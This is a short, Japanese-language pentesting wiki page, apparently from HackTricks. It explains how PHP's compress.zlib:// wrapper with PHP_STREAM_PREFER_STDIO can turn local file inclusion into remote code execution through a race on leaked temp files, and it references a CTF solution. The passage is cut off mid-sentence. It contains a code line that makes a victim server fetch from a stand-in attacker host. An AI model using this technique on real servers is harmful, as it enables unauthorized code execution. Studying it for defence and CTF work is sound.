# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure {{#include ../../banners/hacktricks-training.md}} ### `compress.zlib://` と `PHP_STREAM_PREFER_STDIO` `PHP_STREAM_PREFER_STDIO` フラグを使用して `compress.zlib://` プロトコルで開かれたファイルは、後で接続に到着するデータを書き続けることができます。 これは、次のような呼び出しを意味します: ```php file_get_contents("compress.zlib://http://attacker.com/file") ``` http://attacker.com/fileにリクエストを送信すると、サーバーは有効なHTTPレスポンスでリクエストに応答し、接続を維持し、後でファイルに書き込まれる追加データを送信する可能性があります。 この情報は、php-srcコードのmain/streams/cast.cのこの部分で確認できます: ```c /* Use a tmpfile and copy the old streams contents into it */ if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); } else { *newstream = php_stream_temp_new(); } ``` ### レースコンディションによるRCE [**このCTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)は、前のトリックを使用して解決されました。 攻撃者は、**`compress.zlib`**プロトコルを使用して、**攻撃者のサーバーからファイルを読み込む接続を被害者サーバーに開かせます**。 **この接続**が存在している間、攻撃者は**作成された一時ファイルのパスを外部に流出させます**(サーバーによって漏洩されます)。 **接続**がまだ開いている間、攻撃者は**自分が制御する一時ファイルを読み込むLFIを悪用します**。 しかし、ウェブサーバーには、**`